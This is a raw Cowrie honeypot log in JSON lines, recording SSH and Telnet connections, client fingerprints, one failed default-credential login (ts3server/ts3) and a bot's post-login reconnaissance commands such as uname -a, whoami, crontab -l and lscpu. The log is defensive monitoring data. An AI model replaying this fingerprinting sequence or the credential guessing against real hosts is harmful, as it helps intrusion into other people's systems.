{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:29.325445Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:29.560131Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:30.072219Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:30.076047Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:30.079895Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:30.317720Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:30.827218Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:30.831006Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":22,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:31.066015Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:31.569972Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:31.573621Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:31.807750Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:32.308899Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:32.312596Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:32.547261Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:33.043393Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:33.046416Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:33.281421Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:33.785035Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:33.788108Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:34.021958Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:34.519395Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:34.522431Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:34.755894Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:35.265847Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:35.269556Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:35.504053Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:36.013557Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:36.017493Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":7,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:36.253619Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:36.752714Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:36.756231Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:36.990596Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:37.487720Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:37.491204Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:37.724509Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.2","message":"Connection lost after 25.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:37.729539Z","src_ip":"115.190.179.68","session":"2109551ae020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":49662,"dst_ip":"159.203.135.109","dst_port":22,"session":"1500faddde87","protocol":"ssh","message":"New connection: 115.190.179.68:49662 (159.203.135.109:22) [session: 1500faddde87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:54.469323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:59.347525Z","src_ip":"115.190.179.68","session":"1500faddde87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:59.350964Z","src_ip":"115.190.179.68","session":"1500faddde87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:49:59.357198Z","src_ip":"115.190.179.68","session":"1500faddde87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.90273308753967,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:00.666854Z","src_ip":"146.185.21.169","session":"54202d7aa734","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":42970,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a25abd5ecdb","protocol":"telnet","message":"New connection: 146.185.21.169:42970 (10.17.0.5:23) [session: 2a25abd5ecdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:08.469813Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":33148,"dst_ip":"159.203.135.109","dst_port":22,"session":"351733620065","protocol":"ssh","message":"New connection: 72.79.42.117:33148 (159.203.135.109:22) [session: 351733620065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:10.366142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:10.372340Z","src_ip":"72.79.42.117","session":"351733620065","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:10.386563Z","src_ip":"72.79.42.117","session":"351733620065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3","message":"login attempt [ts3server/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:10.444122Z","src_ip":"72.79.42.117","session":"351733620065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:11.453474Z","src_ip":"72.79.42.117","session":"351733620065","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":54768,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeb739af51ee","protocol":"telnet","message":"New connection: 103.115.172.252:54768 (10.17.0.5:23) [session: aeb739af51ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:24.379858Z"}
{"eventid":"cowrie.session.closed","duration":1.4168775081634521,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:25.796600Z","src_ip":"103.115.172.252","session":"aeb739af51ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":49686,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2450dd8d180","protocol":"telnet","message":"New connection: 62.72.47.216:49686 (10.17.0.5:23) [session: b2450dd8d180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:32.129073Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":48202,"dst_ip":"159.203.135.109","dst_port":22,"session":"6601a6ef6151","protocol":"ssh","message":"New connection: 115.190.179.68:48202 (159.203.135.109:22) [session: 6601a6ef6151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:32.629052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:32.635495Z","src_ip":"115.190.179.68","session":"6601a6ef6151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:32.870226Z","src_ip":"115.190.179.68","session":"6601a6ef6151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.6401309967041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:40.109845Z","src_ip":"146.185.21.169","session":"2a25abd5ecdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:40.153874Z","src_ip":"115.190.179.68","session":"6601a6ef6151","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.22.54.32","src_port":54764,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8d610b01934","protocol":"telnet","message":"New connection: 186.22.54.32:54764 (10.17.0.5:23) [session: f8d610b01934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:44.930790Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.22.54.32","src_port":62278,"dst_ip":"10.17.0.5","dst_port":23,"session":"db111fac2198","protocol":"telnet","message":"New connection: 186.22.54.32:62278 (10.17.0.5:23) [session: db111fac2198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:45.656316Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.22.54.32","src_port":58124,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b62155b6ce5","protocol":"telnet","message":"New connection: 186.22.54.32:58124 (10.17.0.5:23) [session: 3b62155b6ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:45.676735Z"}
{"eventid":"cowrie.session.closed","duration":120.00104832649231,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:56.721259Z","src_ip":"185.225.40.236","session":"6b92f26cf288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":57178,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a002b3d4edd","protocol":"ssh","message":"New connection: 72.79.42.117:57178 (159.203.135.109:22) [session: 7a002b3d4edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:56.981259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:56.985968Z","src_ip":"72.79.42.117","session":"7a002b3d4edd","protocol":"ssh"}
